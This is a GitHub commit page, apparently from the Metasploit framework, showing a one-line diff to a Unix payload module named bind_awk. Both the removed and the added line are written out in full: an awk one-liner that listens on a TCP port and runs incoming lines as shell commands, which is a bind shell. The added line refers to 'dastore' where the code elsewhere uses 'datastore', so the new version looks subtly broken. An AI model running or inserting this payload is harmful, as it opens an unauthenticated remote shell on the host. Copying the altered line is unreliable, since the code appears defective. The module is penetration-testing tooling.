We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 00debd0 commit d9609fbCopy full SHA for d9609fb
modules/payloads/singles/cmd/unix/bind_awk.rb
@@ -50,7 +50,7 @@ def generate
50
# Returns the command string to use for execution
51
#
52
def command_string
53
- "awk '{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;)while(c|&getline)print$0|&s}'<<<X"
+ "awk 'BEGIN{for(s=\"/inet/tcp/#{dastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
54
end
55
56
0 commit comments